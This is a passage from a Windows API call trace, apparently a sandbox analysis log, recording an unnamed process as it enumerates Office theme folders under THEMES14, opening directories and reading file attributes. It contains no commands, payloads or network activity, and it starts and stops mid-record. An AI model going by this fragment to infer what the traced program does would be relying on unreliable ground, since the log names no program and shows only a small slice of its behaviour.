Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0060.957] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.957] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.957] GetLastError () returned 0x12 [0060.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdaf8) returned 1 [0060.957] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0060.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdc00) returned 1 [0060.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0060.958] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0060.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.958] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0060.958] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0060.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa00430 [0060.958] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa00430, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa00430, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0060.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00430) returned 1 [0060.958] NtClose (Handle=0x16c) returned 0x0 [0060.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0060.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0060.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdc00 [0060.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0060.959] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.959] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdaf8 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff500 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe128 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff520 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe230 [0060.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.959] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0060.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff540 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe338 [0060.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.960] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff560 [0060.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe440 [0060.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.960] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.960] GetLastError () returned 0x12 [0060.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0060.960] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0060.960] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.960] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.960] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0060.960] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0060.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.961] GetLastError () returned 0x12 [0060.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdc00) returned 1 [0060.961] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0060.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdaf8) returned 1 [0060.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0060.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0060.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0060.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.059] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa00430 [0061.059] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa00430, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa00430, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa00430) returned 1 [0061.059] NtClose (Handle=0x160) returned 0x0 [0061.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdaf8 [0061.059] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.059] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.060] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdc00 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff580 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe548 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff5a0 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe650 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff5c0 [0061.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fe758 [0061.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.061] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, 